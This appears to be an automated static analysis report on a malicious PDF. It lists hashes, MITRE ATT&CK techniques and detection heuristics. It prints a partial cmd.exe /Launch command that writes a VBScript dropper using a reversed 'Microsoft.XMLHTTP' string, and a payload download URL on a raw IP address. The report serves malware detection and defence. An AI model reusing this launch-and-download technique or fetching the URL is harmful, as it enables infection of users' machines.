Malicious PDF — malware analysis report

Static analysis result for SHA-256 f44374101edf0cbe…

MALICIOUS

PDF

800 B
MD5: d2e9b084b634a05673139b05f736f0f0 SHA-1: 100469e6d6a431c8be224aadb3058aa06a67517a SHA-256: f44374101edf0cbeaab6a1c7c2df9b20ac3c39874e47cbc179a6fd5c254d6f1c
120 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.003 Windows Command Shell T1105 Ingress Tool Transfer

The PDF file contains a launch action that executes cmd.exe. This command is designed to echo a VBScript payload to a file named 'm.vbs'. The VBScript is then likely intended to be executed, downloading and running further malicious content from the embedded URL http://193.104.146.51/b/tmp/m.vbs. The obfuscated string 'PTTHLMX.2LMXSM' likely reconstructs to 'Microsoft.XMLHTTP' or similar for network access.

Heuristics 4

  • Launch action high PDF_LAUNCH
    PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
  • Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
  • /Launch action target: cmd high PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://193.104.146.51/b/tmp/m.vbs

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_pdf_script_0000006f.bin
ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5
pdf-embedded-script PDF decompressed stream script payload at offset 0x6F 63 bytes